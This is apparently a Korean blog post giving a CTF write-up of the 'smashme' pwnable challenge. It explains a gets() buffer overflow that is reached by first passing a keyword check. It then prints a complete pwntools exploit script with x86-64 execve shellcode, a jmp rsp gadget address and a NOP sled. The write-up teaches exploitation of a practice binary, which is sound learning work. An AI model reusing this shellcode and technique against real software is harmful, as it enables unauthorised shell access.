티스토리 뷰

바이너리에 그 어떠한 보호기법도 걸려있지 않고, 서버에는 ASLR은 걸려있는걸로 예상하고 시작하였다.


문제의 main 함수에는 gets() 함수를 통해 buffer에 입력을 받기 때문에 Buffer Overflow 취약점이 존재한다. 하지만, 이름 smashme인 것처럼 sub_400320() 함수 때문에 그냥 되진 않는데, 저걸 무사히 통과해서 Return Address에 접근해 종료되도록 만들면 된다.


조금 디버깅해보면 __strstr_sse2_unaligned() 함수의 시작부분에서 rsi 레지스터에서 1바이트씩 가져와 확인을 하는 모습을 볼 수 있다. rsi에 있는 문자열을 살펴보면 조금 수상한 문자열이 들어있는데, 이 문자열이 키워드이다.


해당 문자열 뒤에 문자열을 추가하여 입력을 하면 Segmentation Fault가 발생하는 것을 볼 수 있다.


Return Address까지 대충 페이로드를 채워넣은 뒤, Return Address에 jmp rsp 가젯을 넣고 그 뒤에 쉘코드를 세팅해주면 쉘이 획득될 것이다.


페이로드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python
from pwn import *
 
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" 
 
gadget = 0x4c25a9 
payload = "Smash me outside, how bout dAAAAAAAAAAA" + "B"*33
payload += p64(gadget)
payload += "\x90"*500
payload += sc
 
= process("./smashme")
#s = remote("smashme_omgbabysfirst.quals.shallweplayaga.me"57348)
 
print s.recvuntil("Welcome to the Dr. Phil Show. Wanna smash?\n")
s.sendline(payload)
 
s.interactive()
s.close()
cs


결과화면


'Wargame & CTF > CTF' 카테고리의 다른 글

[Codegate 2018] RedVelvet  (0) 2018.02.05
[Defcon 2017 예선] beatmeonthedl  (0) 2017.05.01
[Code Gate 2017] Messenger  (0) 2017.02.16
2016년도 SecurityFirst Final Pwn300 - UAF(소스코드, 익스)  (0) 2016.12.13
2016 TWCTF Pwnable 50pt  (0) 2016.09.09
댓글
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31